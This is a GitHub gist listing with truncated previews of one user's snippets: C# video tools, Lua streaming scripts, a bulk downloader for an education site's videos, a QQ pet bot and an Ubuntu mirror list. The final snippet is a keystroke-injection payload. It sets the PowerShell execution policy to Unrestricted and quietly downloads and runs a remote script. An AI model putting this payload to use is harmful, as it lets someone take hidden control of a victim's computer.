Skip to content

Instantly share code, notes, and snippets.

🥕
making garbage

chenxuuu chenxuuu

🥕
making garbage
Block or report user

Report or block chenxuuu

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@chenxuuu
chenxuuu / video_maker.cs
Created Dec 4, 2019
bilibili互动视频生成
View video_maker.cs
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
View openresty_api.lua
package.path = package.path..";/www/wwwroot/tcy2b.papapoi.com/?.lua"
json = require("JSON")
channel = ngx.req.get_uri_args()["c"]
if not channel then ngx.say(json:encode({error = "no c found"})) return end
hc = require('httpclient').new()
res = hc:get("https://www.youtube.com/channel/"..channel.."/live")
if not res.body then ngx.say(json:encode({error = res.err})) return end
@chenxuuu
chenxuuu / run.lua
Last active Jul 20, 2019
漫无止境的八月直播脚本
View run.lua
--直播码
local rtmpUrl = "rtmp://js.live-send.acg.tv/live-js/"
local liveCode = "?streamname=live_xxxxxxxxxxxxxxxx&key=xxxxxxxxxxxxxx"
--最大码率
local maxRate = 2200
--随机数表代码来自http://www.cnblogs.com/slysky/p/5954053.html
--产生1~~m,若有n的则m~~n的数字表
function table.fillNum(m,n)
local j,k
@chenxuuu
chenxuuu / lodConvert.cs
Created Apr 2, 2019
把coolwatcher读出来的lod转成能拿来烧录用的lod
View lodConvert.cs
using System;
using System.Collections;
using System.IO;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
@chenxuuu
chenxuuu / Program.cs
Last active Feb 13, 2019
0.94oled-air202-badapple
View Program.cs
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace luatBadapplePC
{
class Program
@chenxuuu
chenxuuu / (niceloo.com)优路教育视频批量下载+解码.cs
Last active Oct 13, 2018
(niceloo.com)优路教育视频批量下载+解码
View (niceloo.com)优路教育视频批量下载+解码.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
View 宠物代挂,自动代挂.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Xml.Linq;
namespace qqpet
View gist:b004c8c067380dc188e2346484c4a306
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
##测试版源
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
# 源码
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
View 脚本
\p\@wx\#05a\#20\l\e\#10REG add hkey_local_machine\\software\\mICROSOFT\\pOWERsHELL\\1\\sHELLiDS\\mICROSOFT.pOWERsHELL /V eXECUTIONpOLICY /T reg_sz /D uNRESTRICTED /F\ePOWERSHELL -eXECUTIONpOLICY bYPASS -WINDOWSTYLE HIDDEN (nEW-oBJECT nET.wEBcLIENT).dOWNLOADsTRING('HTTP://WWW.PAPAPOI.COM/1.ps1');\e\#05\p
You can’t perform that action at this time.